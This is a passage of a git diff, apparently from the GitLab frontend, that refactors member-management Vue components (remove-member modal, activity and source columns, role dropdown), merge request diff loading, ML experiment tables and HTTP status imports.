+ return state[this.namespace].removeMemberModalData.preventRemoval;
+ },
removeMemberModalVisible(state) {
return state[this.namespace].removeMemberModalVisible;
},
}),
isGroupMember() {
- return this.memberType === 'GroupMember';
+ return this.memberModelType === MEMBER_MODEL_TYPE_GROUP_MEMBER;
},
actionText() {
if (this.isAccessRequest) {
@@ -53,6 +62,10 @@ export default {
return __('Remove member');
},
actionPrimary() {
+ if (this.preventRemoval) {
+ return null;
+ }
+
return {
text: this.actionText,
attributes: {
@@ -95,21 +108,22 @@ export default {
>
<form ref="form" :action="memberPath" method="post">
<p>{{ message }}</p>
+ <template v-if="!preventRemoval">
+ <user-deletion-obstacles-list
+ v-if="hasObstaclesToUserDeletion"
+ :obstacles="userDeletionObstacles.obstacles"
+ :user-name="userDeletionObstacles.name"
+ />
- <user-deletion-obstacles-list
- v-if="hasObstaclesToUserDeletion"
- :obstacles="userDeletionObstacles.obstacles"
- :user-name="userDeletionObstacles.name"
- />
-
- <input ref="method" type="hidden" name="_method" value="delete" />
- <input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
- <gl-form-checkbox v-if="isGroupMember" name="remove_sub_memberships">
- {{ __('Also remove direct user membership from subgroups and projects') }}
- </gl-form-checkbox>
- <gl-form-checkbox v-if="hasWorkspaceAccess" name="unassign_issuables">
- {{ __('Also unassign this user from related issues and merge requests') }}
- </gl-form-checkbox>
+ <input ref="method" type="hidden" name="_method" value="delete" />
+ <input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
+ <gl-form-checkbox v-if="isGroupMember" name="remove_sub_memberships">
+ {{ __('Also remove direct user membership from subgroups and projects') }}
+ </gl-form-checkbox>
+ <gl-form-checkbox v-if="hasWorkspaceAccess" name="unassign_issuables">
+ {{ __('Also unassign this user from related issues and merge requests') }}
+ </gl-form-checkbox>
+ </template>
</form>
</gl-modal>
</template>
diff --git a/app/assets/javascripts/members/components/table/created_at.vue b/app/assets/javascripts/members/components/table/created_at.vue
index 0bad70894f9..44d124ad0db 100644
--- a/app/assets/javascripts/members/components/table/created_at.vue
+++ b/app/assets/javascripts/members/components/table/created_at.vue
@@ -1,10 +1,10 @@
<script>
import { GlSprintf } from '@gitlab/ui';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import UserDate from '~/vue_shared/components/user_date.vue';
export default {
name: 'CreatedAt',
- components: { GlSprintf, TimeAgoTooltip },
+ components: { GlSprintf, UserDate },
props: {
date: {
type: String,
@@ -29,12 +29,12 @@ export default {
<span>
<gl-sprintf v-if="showCreatedBy" :message="s__('Members|%{time} by %{user}')">
<template #time>
- <time-ago-tooltip :time="date" />
+ <user-date :date="date" />
</template>
<template #user>
<a :href="createdBy.webUrl">{{ createdBy.name }}</a>
</template>
</gl-sprintf>
- <time-ago-tooltip v-else :time="date" />
+ <user-date v-else :date="date" />
</span>
</template>
diff --git a/app/assets/javascripts/members/components/table/member_action_buttons.vue b/app/assets/javascripts/members/components/table/member_action_buttons.vue
index ecc2ed82ad0..6ec7be608ba 100644
--- a/app/assets/javascripts/members/components/table/member_action_buttons.vue
+++ b/app/assets/javascripts/members/components/table/member_action_buttons.vue
@@ -3,12 +3,12 @@ import { MEMBER_TYPES, EE_ACTION_BUTTONS } from 'ee_else_ce/members/constants';
import AccessRequestActionButtons from '../action_buttons/access_request_action_buttons.vue';
import GroupActionButtons from '../action_buttons/group_action_buttons.vue';
import InviteActionButtons from '../action_buttons/invite_action_buttons.vue';
-import UserActionButtons from '../action_buttons/user_action_buttons.vue';
+import UserActionDropdown from '../action_dropdowns/user_action_dropdown.vue';
export default {
name: 'MemberActionButtons',
components: {
- UserActionButtons,
+ UserActionDropdown,
GroupActionButtons,
InviteActionButtons,
AccessRequestActionButtons,
@@ -32,15 +32,11 @@ export default {
type: Boolean,
required: true,
},
- isInvitedUser: {
- type: Boolean,
- required: true,
- },
},
computed: {
actionButtonComponent() {
const dictionary = {
- [MEMBER_TYPES.user]: 'user-action-buttons',
+ [MEMBER_TYPES.user]: 'user-action-dropdown',
[MEMBER_TYPES.group]: 'group-action-buttons',
[MEMBER_TYPES.invite]: 'invite-action-buttons',
[MEMBER_TYPES.accessRequest]: 'access-request-action-buttons',
@@ -60,6 +56,5 @@ export default {
:member="member"
:permissions="permissions"
:is-current-user="isCurrentUser"
- :is-invited-user="isInvitedUser"
/>
</template>
diff --git a/app/assets/javascripts/members/components/table/member_activity.vue b/app/assets/javascripts/members/components/table/member_activity.vue
new file mode 100644
index 00000000000..3b223cb1afa
--- /dev/null
+++ b/app/assets/javascripts/members/components/table/member_activity.vue
@@ -0,0 +1,38 @@
+<script>
+import UserDate from '~/vue_shared/components/user_date.vue';
+
+export default {
+ components: { UserDate },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ userCreated() {
+ return this.member.user?.createdAt;
+ },
+ lastActivity() {
+ return this.member.user?.lastActivityOn;
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <div v-if="userCreated">
+ <strong>{{ s__('Members|User created') }}:</strong>
+ <user-date :date="userCreated" />
+ </div>
+ <div v-if="member.createdAt">
+ <strong>{{ s__('Members|Access granted') }}:</strong>
+ <user-date :date="member.createdAt" />
+ </div>
+ <div v-if="lastActivity">
+ <strong>{{ s__('Members|Last activity') }}:</strong>
+ <user-date :date="lastActivity" />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/members/components/table/member_source.vue b/app/assets/javascripts/members/components/table/member_source.vue
index 30fcbfcd3f8..ed1971d020b 100644
--- a/app/assets/javascripts/members/components/table/member_source.vue
+++ b/app/assets/javascripts/members/components/table/member_source.vue
@@ -1,11 +1,19 @@
<script>
-import { GlTooltipDirective } from '@gitlab/ui';
+import { GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+import { s__, __ } from '~/locale';
export default {
name: 'MemberSource',
+ i18n: {
+ inherited: __('Inherited'),
+ directMember: __('Direct member'),
+ directMemberWithCreatedBy: s__('Members|Direct member by %{createdBy}'),
+ inheritedMemberWithCreatedBy: s__('Members|%{group} by %{createdBy}'),
+ },
directives: {
GlTooltip: GlTooltipDirective,
},
+ components: { GlSprintf },
props: {
memberSource: {
type: Object,
@@ -15,13 +23,40 @@ export default {
type: Boolean,
required: true,
},
+ createdBy: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ },
+ computed: {
+ showCreatedBy() {
+ return this.createdBy?.name && this.createdBy?.webUrl;
+ },
+ messageWithCreatedBy() {
+ return this.isDirectMember
+ ? this.$options.i18n.directMemberWithCreatedBy
+ : this.$options.i18n.inheritedMemberWithCreatedBy;
+ },
},
};
</script>
<template>
- <span v-if="isDirectMember">{{ __('Direct member') }}</span>
- <a v-else v-gl-tooltip.hover :title="__('Inherited')" :href="memberSource.webUrl">{{
+ <span v-if="showCreatedBy">
+ <gl-sprintf :message="messageWithCreatedBy">
+ <template #group>
+ <a v-gl-tooltip.hover="$options.i18n.inherited" :href="memberSource.webUrl">{{
+ memberSource.fullName
+ }}</a>
+ </template>
+ <template #createdBy>
+ <a :href="createdBy.webUrl">{{ createdBy.name }}</a>
+ </template>
+ </gl-sprintf>
+ </span>
+ <span v-else-if="isDirectMember">{{ $options.i18n.directMember }}</span>
+ <a v-else v-gl-tooltip.hover="$options.i18n.inherited" :href="memberSource.webUrl">{{
memberSource.fullName
}}</a>
</template>
diff --git a/app/assets/javascripts/members/components/table/members_table.vue b/app/assets/javascripts/members/components/table/members_table.vue
index 0512bc04085..8f03a298e63 100644
--- a/app/assets/javascripts/members/components/table/members_table.vue
+++ b/app/assets/javascripts/members/components/table/members_table.vue
@@ -2,14 +2,20 @@
import { GlTable, GlBadge, GlPagination } from '@gitlab/ui';
import { mapState } from 'vuex';
import MembersTableCell from 'ee_else_ce/members/components/table/members_table_cell.vue';
-import { canUnban, canOverride, canRemove, canResend, canUpdate } from 'ee_else_ce/members/utils';
+import {
+ canDisableTwoFactor,
+ canUnban,
+ canOverride,
+ canRemove,
+ canRemoveBlockedByLastOwner,
+ canResend,
+ canUpdate,
+} from 'ee_else_ce/members/utils';
import { mergeUrlParams } from '~/lib/utils/url_utility';
-import UserDate from '~/vue_shared/components/user_date.vue';
import {
FIELD_KEY_ACTIONS,
FIELDS,
ACTIVE_TAB_QUERY_PARAM_NAME,
- TAB_QUERY_PARAM_VALUES,
MEMBER_STATE_AWAITING,
MEMBER_STATE_ACTIVE,
USER_STATE_BLOCKED,
@@ -23,6 +29,7 @@ import ExpirationDatepicker from './expiration_datepicker.vue';
import MemberActionButtons from './member_action_buttons.vue';
import MemberAvatar from './member_avatar.vue';
import MemberSource from './member_source.vue';
+import MemberActivity from './member_activity.vue';
import RoleDropdown from './role_dropdown.vue';
export default {
@@ -40,11 +47,13 @@ export default {
RemoveGroupLinkModal,
RemoveMemberModal,
ExpirationDatepicker,
- UserDate,
+ MemberActivity,
+ DisableTwoFactorModal: () =>
+ import('ee_component/members/components/modals/disable_two_factor_modal.vue'),
LdapOverrideConfirmationModal: () =>
import('ee_component/members/components/ldap/ldap_override_confirmation_modal.vue'),
},
- inject: ['namespace', 'currentUserId'],
+ inject: ['namespace', 'currentUserId', 'canManageMembers'],
props: {
tabQueryParamValue: {
type: String,
@@ -80,18 +89,17 @@ export default {
return paramName && currentPage && perPage && totalItems;
},
- isInvitedUser() {
- return this.tabQueryParamValue === TAB_QUERY_PARAM_VALUES.invite;
- },
},
methods: {
hasActionButtons(member) {
return (
canRemove(member) ||
+ canRemoveBlockedByLastOwner(member, this.canManageMembers) ||
canResend(member) ||
canUpdate(member, this.currentUserId) ||
canOverride(member) ||
- canUnban(member)
+ canUnban(member) ||
+ canDisableTwoFactor(member)
);
},
showField(field) {
@@ -249,7 +257,11 @@ export default {
<template #cell(source)="{ item: member }">
<members-table-cell #default="{ isDirectMember }" :member="member">
- <member-source :is-direct-member="isDirectMember" :member-source="member.source" />
+ <member-source
+ :is-direct-member="isDirectMember"
+ :member-source="member.source"
+ :created-by="member.createdBy"
+ />
</members-table-cell>
</template>
@@ -281,12 +293,8 @@ export default {
</members-table-cell>
</template>
- <template #cell(userCreatedAt)="{ item: member }">
- <user-date :date="member.user.createdAt" />
- </template>
-
- <template #cell(lastActivityOn)="{ item: member }">
- <user-date :date="member.user.lastActivityOn" />
+ <template #cell(activity)="{ item: member }">
+ <member-activity :member="member" />
</template>
<template #cell(actions)="{ item: member }">
@@ -294,7 +302,6 @@ export default {
<member-action-buttons
:member-type="memberType"
:is-current-user="isCurrentUser"
- :is-invited-user="isInvitedUser"
:permissions="permissions"
:member="member"
/>
@@ -317,6 +324,7 @@ export default {
:label-prev-page="__('Go to previous page')"
align="center"
/>
+ <disable-two-factor-modal />
<remove-group-link-modal />
<remove-member-modal />
<ldap-override-confirmation-modal />
diff --git a/app/assets/javascripts/members/components/table/members_table_cell.vue b/app/assets/javascripts/members/components/table/members_table_cell.vue
index 51eff428d63..407cbc55dd3 100644
--- a/app/assets/javascripts/members/components/table/members_table_cell.vue
+++ b/app/assets/javascripts/members/components/table/members_table_cell.vue
@@ -5,13 +5,14 @@ import {
isDirectMember,
isCurrentUser,
canRemove,
+ canRemoveBlockedByLastOwner,
canResend,
canUpdate,
} from '../../utils';
export default {
name: 'MembersTableCell',
- inject: ['currentUserId'],
+ inject: ['currentUserId', 'canManageMembers'],
props: {
member: {
type: Object,
@@ -45,6 +46,9 @@ export default {
isCurrentUser() {
return isCurrentUser(this.member, this.currentUserId);
},
+ canRemoveBlockedByLastOwner() {
+ return canRemoveBlockedByLastOwner(this.member, this.canManageMembers);
+ },
canRemove() {
return canRemove(this.member);
},
@@ -62,6 +66,7 @@ export default {
isCurrentUser: this.isCurrentUser,
permissions: {
canRemove: this.canRemove,
+ canRemoveBlockedByLastOwner: this.canRemoveBlockedByLastOwner,
canResend: this.canResend,
canUpdate: this.canUpdate,
},
diff --git a/app/assets/javascripts/members/components/table/role_dropdown.vue b/app/assets/javascripts/members/components/table/role_dropdown.vue
index 6cd8bf57313..70808587d56 100644
--- a/app/assets/javascripts/members/components/table/role_dropdown.vue
+++ b/app/assets/javascripts/members/components/table/role_dropdown.vue
@@ -2,7 +2,9 @@
import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import { mapActions } from 'vuex';
+import * as Sentry from '@sentry/browser';
import { s__ } from '~/locale';
+import { guestOverageConfirmAction } from 'ee_else_ce/members/guest_overage_confirm_action';
export default {
name: 'RoleDropdown',
@@ -11,7 +13,7 @@ export default {
GlDropdownItem,
LdapDropdownItem: () => import('ee_component/members/components/ldap/ldap_dropdown_item.vue'),
},
- inject: ['namespace'],
+ inject: ['namespace', 'group'],
props: {
member: {
type: Object,
@@ -30,7 +32,7 @@ export default {
},
computed: {
disabled() {
- return this.busy || (this.permissions.canOverride && !this.member.isOverridden);
+ return this.permissions.canOverride && !this.member.isOverridden;
},
},
mounted() {
@@ -50,22 +52,45 @@ export default {
return dispatch(`${this.namespace}/updateMemberRole`, payload);
},
}),
- handleSelect(value, name) {
- if (value === this.member.accessLevel.integerValue) {
+ async handleOverageConfirm(currentRoleValue, newRoleValue, newRoleName) {
+ return guestOverageConfirmAction({
+ currentRoleValue,
+ newRoleValue,
+ newRoleName,
+ group: this.group,
+ memberId: this.member.id,
+ memberType: this.namespace,
+ });
+ },
+ async handleSelect(newRoleValue, newRoleName) {
+ const currentRoleValue = this.member.accessLevel.integerValue;
+ if (newRoleValue === currentRoleValue) {
return;
}
this.busy = true;
+ const confirmed = await this.handleOverageConfirm(
+ currentRoleValue,
+ newRoleValue,
+ newRoleName,
+ );
+ if (!confirmed) {
+ this.busy = false;
+ return;
+ }
+
this.updateMemberRole({
memberId: this.member.id,
- accessLevel: { integerValue: value, stringValue: name },
+ accessLevel: { integerValue: newRoleValue, stringValue: newRoleName },
})
.then(() => {
this.$toast.show(s__('Members|Role updated successfully.'));
- this.busy = false;
})
- .catch(() => {
+ .catch((error) => {
+ Sentry.captureException(error);
+ })
+ .finally(() => {
this.busy = false;
});
},
@@ -80,6 +105,7 @@ export default {
:text="member.accessLevel.stringValue"
:header-text="__('Change role')"
:disabled="disabled"
+ :loading="busy"
>
<gl-dropdown-item
v-for="(value, name) in member.validRoles"
diff --git a/app/assets/javascripts/members/constants.js b/app/assets/javascripts/members/constants.js
index dab544c7cbc..68c5831db62 100644
--- a/app/assets/javascripts/members/constants.js
+++ b/app/assets/javascripts/members/constants.js
@@ -20,6 +20,7 @@ export const FIELD_KEY_MAX_ROLE = 'maxRole';
export const FIELD_KEY_USER_CREATED_AT = 'userCreatedAt';
export const FIELD_KEY_LAST_ACTIVITY_ON = 'lastActivityOn';
export const FIELD_KEY_EXPIRATION = 'expiration';
+export const FIELD_KEY_ACTIVITY = 'activity';
export const FIELD_KEY_LAST_SIGN_IN = 'lastSignIn';
export const FIELD_KEY_ACTIONS = 'actions';
@@ -41,8 +42,6 @@ export const FIELDS = [
{
key: FIELD_KEY_GRANTED,
label: __('Access granted'),
- thClass: 'col-meta',
- tdClass: 'col-meta',
sort: {
asc: 'last_joined',
desc: 'oldest_joined',
@@ -77,8 +76,14 @@ export const FIELDS = [
tdClass: 'col-expiration',
},
{
+ key: FIELD_KEY_ACTIVITY,
+ label: s__('Members|Activity'),
+ thClass: 'col-activity',
+ tdClass: 'col-activity',
+ },
+ {
key: FIELD_KEY_USER_CREATED_AT,
- label: __('Created on'),
+ label: s__('Members|User created'),
sort: {
asc: 'oldest_created_user',
desc: 'recent_created_user',
@@ -158,6 +163,12 @@ export const MEMBER_TYPES = {
accessRequest: 'accessRequest',
};
+// `app/models/members/group_member.rb`
+export const MEMBER_MODEL_TYPE_GROUP_MEMBER = 'GroupMember';
+
+// `app/models/members/project_member.rb`
+export const MEMBER_MODEL_TYPE_PROJECT_MEMBER = 'ProjectMember';
+
export const TAB_QUERY_PARAM_VALUES = {
group: 'groups',
invite: 'invited',
diff --git a/app/assets/javascripts/members/guest_overage_confirm_action.js b/app/assets/javascripts/members/guest_overage_confirm_action.js
new file mode 100644
index 00000000000..2205c3ad792
--- /dev/null
+++ b/app/assets/javascripts/members/guest_overage_confirm_action.js
@@ -0,0 +1,3 @@
+export const guestOverageConfirmAction = () => {
+ return true;
+};
diff --git a/app/assets/javascripts/members/index.js b/app/assets/javascripts/members/index.js
index 359239c5c0c..c7398127727 100644
--- a/app/assets/javascripts/members/index.js
+++ b/app/assets/javascripts/members/index.js
@@ -21,6 +21,8 @@ export const initMembersApp = (el, options) => {
canExportMembers,
canFilterByEnterprise,
exportCsvPath,
+ groupName,
+ groupPath,
...vuexStoreAttributes
} = parseDataAttributes(el);
@@ -66,6 +68,10 @@ export const initMembersApp = (el, options) => {
canFilterByEnterprise,
canExportMembers,
exportCsvPath,
+ group: {
+ name: groupName,
+ path: groupPath,
+ },
},
render: (createElement) => createElement('members-tabs'),
});
diff --git a/app/assets/javascripts/members/utils.js b/app/assets/javascripts/members/utils.js
index bf87ab53d36..09e4b5e8a6f 100644
--- a/app/assets/javascripts/members/utils.js
+++ b/app/assets/javascripts/members/utils.js
@@ -51,6 +51,9 @@ export const canRemove = (member) => {
return isDirectMember(member) && member.canRemove;
};
+export const canRemoveBlockedByLastOwner = (member, canManageMembers) =>
+ isDirectMember(member) && canManageMembers && member.isLastOwner;
+
export const canResend = (member) => {
return Boolean(member.invite?.canResend);
};
@@ -106,6 +109,9 @@ export const buildSortHref = ({
};
// Defined in `ee/app/assets/javascripts/members/utils.js`
+export const canDisableTwoFactor = () => false;
+
+// Defined in `ee/app/assets/javascripts/members/utils.js`
export const canOverride = () => false;
// Defined in `ee/app/assets/javascripts/members/utils.js`
diff --git a/app/assets/javascripts/merge_request_tabs.js b/app/assets/javascripts/merge_request_tabs.js
index 5a1410ceeba..46ee8fecfc5 100644
--- a/app/assets/javascripts/merge_request_tabs.js
+++ b/app/assets/javascripts/merge_request_tabs.js
@@ -1,4 +1,4 @@
-/* eslint-disable no-new, class-methods-use-this */
+/* eslint-disable class-methods-use-this */
import $ from 'jquery';
import Vue from 'vue';
import { createAlert } from '~/flash';
@@ -134,8 +134,8 @@ function destroyPipelines(app) {
return null;
}
-function loadDiffs({ url, sticky }) {
- return axios.get(`${url}.json${location.search}`).then(({ data }) => {
+function loadDiffs({ url, sticky, tabs }) {
+ return axios.get(url).then(({ data }) => {
const $container = $('#diffs');
$container.html(data.html);
initDiffStatsDropdown(sticky);
@@ -143,7 +143,9 @@ function loadDiffs({ url, sticky }) {
localTimeAgo(document.querySelectorAll('#diffs .js-timeago'));
syntaxHighlight($('#diffs .js-syntax-highlight'));
- new Diff();
+ tabs.createDiff();
+ tabs.setHubToDiff();
+
scrollToContainer('#diffs');
$('.diff-file').each((i, el) => {
@@ -204,6 +206,7 @@ export default class MergeRequestTabs {
this.currentTab = null;
this.diffsLoaded = false;
+ this.diffsClass = null;
this.commitsLoaded = false;
this.fixedLayoutPref = null;
this.eventHub = createEventHub();
@@ -211,6 +214,7 @@ export default class MergeRequestTabs {
this.setUrl = setUrl !== undefined ? setUrl : true;
this.setCurrentAction = this.setCurrentAction.bind(this);
+ this.switchViewType = this.switchViewType.bind(this);
this.tabShown = this.tabShown.bind(this);
this.clickTab = this.clickTab.bind(this);
@@ -230,11 +234,13 @@ export default class MergeRequestTabs {
this.tabShown(action, location.href);
this.eventHub.$emit('MergeRequestTabChange', action);
});
+ this.eventHub.$on('diff:switch-view-type', this.switchViewType);
}
// Used in tests
unbindEvents() {
$('.merge-request-tabs a[data-toggle="tabvue"]').off('click', this.clickTab);
+ this.eventHub.$off('diff:switch-view-type', this.switchViewType);
}
storeScroll() {
@@ -341,7 +347,7 @@ export default class MergeRequestTabs {
in practice, this only occurs when comparing commits in
the new merge request form page.
*/
- this.loadDiff(href);
+ this.loadDiff({ endpoint: href, strip: true });
}
// this.hideSidebar();
this.expandViewContainer();
@@ -503,17 +509,20 @@ export default class MergeRequestTabs {
}
// load the diff tab content from the backend
- loadDiff(source) {
+ loadDiff({ endpoint, strip = true }) {
if (this.diffsLoaded) {
document.dispatchEvent(new CustomEvent('scroll'));
return;
}
+ // We extract pathname for the current Changes tab anchor href
+ // some pages like MergeRequestsController#new has query parameters on that anchor
+ const diffUrl = strip ? `${parseUrlPathname(endpoint)}.json${location.search}` : endpoint;
+
loadDiffs({
- // We extract pathname for the current Changes tab anchor href
- // some pages like MergeRequestsController#new has query parameters on that anchor
- url: parseUrlPathname(source),
+ url: diffUrl,
sticky: computeTopOffset(this.mergeRequestTabs),
+ tabs: this,
})
.then(() => {
if (this.isDiffAction(this.currentAction)) {
@@ -528,6 +537,21 @@ export default class MergeRequestTabs {
});
});
}
+ switchViewType({ source }) {
+ this.diffsLoaded = false;
+
+ this.loadDiff({ endpoint: source, strip: false });
+ }
+ createDiff() {
+ if (!this.diffsClass) {
+ this.diffsClass = new Diff({ mergeRequestEventHub: this.eventHub });
+ }
+ }
+ setHubToDiff() {
+ if (this.diffsClass) {
+ this.diffsClass.mrHub = this.eventHub;
+ }
+ }
diffViewType() {
return $('.js-diff-view-buttons button.active').data('viewType');
diff --git a/app/assets/javascripts/merge_requests/components/sticky_header.vue b/app/assets/javascripts/merge_requests/components/sticky_header.vue
index 4a675cf7563..6af1baaa37e 100644
--- a/app/assets/javascripts/merge_requests/components/sticky_header.vue
+++ b/app/assets/javascripts/merge_requests/components/sticky_header.vue
@@ -56,11 +56,7 @@ export default {
},
watch: {
discussionTabCounter(val) {
- if (this.glFeatures.paginatedMrDiscussions) {
- if (this.doneFetchingBatchDiscussions) {
- this.discussionCounter = val;
- }
- } else {
+ if (this.doneFetchingBatchDiscussions) {
this.discussionCounter = val;
}
},
@@ -86,8 +82,8 @@ export default {
@disappear="setStickyHeaderVisible(true)"
>
<div
- v-if="isStickyHeaderVisible"
class="issue-sticky-header merge-request-sticky-header gl-fixed gl-bg-white gl-border-1 gl-border-b-solid gl-border-b-gray-100 gl-pt-3 gl-display-none gl-md-display-block"
+ :class="{ 'gl-visibility-hidden': !isStickyHeaderVisible }"
>
<div
class="issue-sticky-header-text gl-display-flex gl-flex-direction-column gl-align-items-center gl-mx-auto gl-px-5"
diff --git a/app/assets/javascripts/ml/experiment_tracking/components/ml_candidate.vue b/app/assets/javascripts/ml/experiment_tracking/components/ml_candidate.vue
index 5f54f24e24c..0bb2a913dec 100644
--- a/app/assets/javascripts/ml/experiment_tracking/components/ml_candidate.vue
+++ b/app/assets/javascripts/ml/experiment_tracking/components/ml_candidate.vue
@@ -19,6 +19,25 @@ export default {
artifactsLabel: __('Artifacts'),
parametersLabel: __('Parameters'),
metricsLabel: __('Metrics'),
+ metadataLabel: __('Metadata'),
+ },
+ computed: {
+ sections() {
+ return [
+ {
+ sectionName: this.$options.i18n.parametersLabel,
+ sectionValues: this.candidate.params,
+ },
+ {
+ sectionName: this.$options.i18n.metricsLabel,
+ sectionValues: this.candidate.metrics,
+ },
+ {
+ sectionName: this.$options.i18n.metadataLabel,
+ sectionValues: this.candidate.metadata,
+ },
+ ];
+ },
},
};
</script>
@@ -67,27 +86,18 @@ export default {
</td>
</tr>
- <tr class="divider"></tr>
-
- <tr v-for="(param, index) in candidate.params" :key="param.name">
- <td v-if="index == 0" class="gl-text-secondary gl-font-weight-bold">
- {{ $options.i18n.parametersLabel }}
- </td>
- <td v-else></td>
- <td class="gl-font-weight-bold">{{ param.name }}</td>
- <td>{{ param.value }}</td>
- </tr>
+ <template v-for="{ sectionName, sectionValues } in sections">
+ <tr :key="sectionName" class="divider"></tr>
- <tr class="divider"></tr>
-
- <tr v-for="(metric, index) in candidate.metrics" :key="metric.name">
- <td v-if="index == 0" class="gl-text-secondary gl-font-weight-bold">
- {{ $options.i18n.metricsLabel }}
- </td>
- <td v-else></td>
- <td class="gl-font-weight-bold">{{ metric.name }}</td>
- <td>{{ metric.value }}</td>
- </tr>
+ <tr v-for="(item, index) in sectionValues" :key="item.name">
+ <td v-if="index === 0" class="gl-text-secondary gl-font-weight-bold">
+ {{ sectionName }}
+ </td>
+ <td v-else></td>
+ <td class="gl-font-weight-bold">{{ item.name }}</td>
+ <td>{{ item.value }}</td>
+ </tr>
+ </template>
</tbody>
</table>
</div>
diff --git a/app/assets/javascripts/ml/experiment_tracking/components/ml_experiment.vue b/app/assets/javascripts/ml/experiment_tracking/components/ml_experiment.vue
index f8e269d3b57..5d13122765a 100644
--- a/app/assets/javascripts/ml/experiment_tracking/components/ml_experiment.vue
+++ b/app/assets/javascripts/ml/experiment_tracking/components/ml_experiment.vue
@@ -1,6 +1,8 @@
<script>
-import { GlTable, GlLink } from '@gitlab/ui';
+import { GlTable, GlLink, GlPagination, GlTooltipDirective } from '@gitlab/ui';
import { __ } from '~/locale';
+import { getParameterValues, setUrlParams } from '~/lib/utils/url_utility';
+import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
import IncubationAlert from './incubation_alert.vue';
export default {
@@ -8,24 +10,55 @@ export default {
components: {
GlTable,
GlLink,
+ TimeAgo,
IncubationAlert,
+ GlPagination,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ inject: ['candidates', 'metricNames', 'paramNames', 'pagination'],
+ data() {
+ return {
+ page: parseInt(getParameterValues('page')[0], 10) || 1,
+ };
},
- inject: ['candidates', 'metricNames', 'paramNames'],
computed: {
fields() {
return [
+ { key: 'name', label: this.$options.i18n.nameLabel },
+ { key: 'created_at', label: this.$options.i18n.createdAtLabel },
+ { key: 'user', label: this.$options.i18n.userLabel },
...this.paramNames,
...this.metricNames,
{ key: 'details', label: '' },
{ key: 'artifact', label: '' },
];
},
+ displayPagination() {
+ return this.candidates.length > 0;
+ },
+ prevPage() {
+ return this.pagination.page > 1 ? this.pagination.page - 1 : null;
+ },
+ nextPage() {
+ return !this.pagination.isLastPage ? this.pagination.page + 1 : null;
+ },
+ },
+ methods: {
+ generateLink(page) {
+ return setUrlParams({ page });
+ },
},
i18n: {
titleLabel: __('Experiment candidates'),
emptyStateLabel: __('This experiment has no logged candidates'),
artifactsLabel: __('Artifacts'),
detailsLabel: __('Details'),
+ userLabel: __('User'),
+ createdAtLabel: __('Created at'),
+ nameLabel: __('Name'),
+ noDataContent: __('-'),
},
};
</script>
@@ -43,17 +76,59 @@ export default {
:items="candidates"
:empty-text="$options.i18n.emptyStateLabel"
show-empty
- class="gl-mt-0!"
+ small
+ class="gl-mt-0! ml-candidate-table"
>
+ <template #cell()="data">
+ <div v-gl-tooltip.hover :title="data.value">{{ data.value }}</div>
+ </template>
+
<template #cell(artifact)="data">
- <gl-link v-if="data.value" :href="data.value" target="_blank">{{
- $options.i18n.artifactsLabel
- }}</gl-link>
+ <gl-link
+ v-if="data.value"
+ v-gl-tooltip.hover
+ :href="data.value"
+ target="_blank"
+ :title="$options.i18n.artifactsLabel"
+ >{{ $options.i18n.artifactsLabel }}</gl-link
+ >
+ <div v-else v-gl-tooltip.hover :title="$options.i18n.artifactsLabel">
+ {{ $options.i18n.noDataContent }}
+ </div>
</template>
<template #cell(details)="data">
- <gl-link :href="data.value">{{ $options.i18n.detailsLabel }}</gl-link>
+ <gl-link v-gl-tooltip.hover :href="data.value" :title="$options.i18n.detailsLabel">{{
+ $options.i18n.detailsLabel
+ }}</gl-link>
+ </template>
+
+ <template #cell(created_at)="data">
+ <time-ago v-gl-tooltip.hover :time="data.value" :title="data.value" />
+ </template>
+
+ <template #cell(user)="data">
+ <gl-link
+ v-if="data.value"
+ v-gl-tooltip.hover
+ :href="data.value.path"
+ :title="data.value.username"
+ >@{{ data.value.username }}</gl-link
+ >
+ <div v-else>{{ $options.i18n.noDataContent }}</div>
</template>
</gl-table>
+
+ <gl-pagination
+ v-if="displayPagination"
+ v-model="pagination.page"
+ :prev-page="prevPage"
+ :next-page="nextPage"
+ :total-items="pagination.totalItems"
+ :per-page="pagination.perPage"
+ :link-gen="generateLink"
+ align="center"
+ class="w-100"
+ />
</div>
</template>
diff --git a/app/assets/javascripts/monitoring/requests/index.js b/app/assets/javascripts/monitoring/requests/index.js
index 8b65eec051f..29786a79c56 100644
--- a/app/assets/javascripts/monitoring/requests/index.js
+++ b/app/assets/javascripts/monitoring/requests/index.js
@@ -1,7 +1,9 @@
import axios from '~/lib/utils/axios_utils';
import { backOff } from '~/lib/utils/common_utils';
-import statusCodes, {
+import {
+ HTTP_STATUS_BAD_REQUEST,
HTTP_STATUS_NO_CONTENT,
+ HTTP_STATUS_SERVICE_UNAVAILABLE,
HTTP_STATUS_UNPROCESSABLE_ENTITY,
} from '~/lib/utils/http_status';
import { PROMETHEUS_TIMEOUT } from '../constants';
@@ -36,9 +38,9 @@ export const getPrometheusQueryData = (prometheusEndpoint, params, opts) =>
// https://prometheus.io/docs/prometheus/latest/querying/api/#format-overview
const { response = {} } = error;
if (
- response.status === statusCodes.BAD_REQUEST ||
+ response.status === HTTP_STATUS_BAD_REQUEST ||
response.status === HTTP_STATUS_UNPROCESSABLE_ENTITY ||
- response.status === statusCodes.SERVICE_UNAVAILABLE
+ response.status === HTTP_STATUS_SERVICE_UNAVAILABLE
) {
const { data } = response;
if (data?.status === 'error' && data?.error) {
diff --git a/app/assets/javascripts/monitoring/stores/mutations.js b/app/assets/javascripts/monitoring/stores/mutations.js
index e0eaf76b5f6..5fab292b6df 100644
--- a/app/assets/javascripts/monitoring/stores/mutations.js
+++ b/app/assets/javascripts/monitoring/stores/mutations.js
@@ -1,7 +1,7 @@
import { pick } from 'lodash';
import Vue from 'vue';
import { BACKOFF_TIMEOUT } from '~/lib/utils/common_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_BAD_REQUEST, HTTP_STATUS_SERVICE_UNAVAILABLE } from '~/lib/utils/http_status';
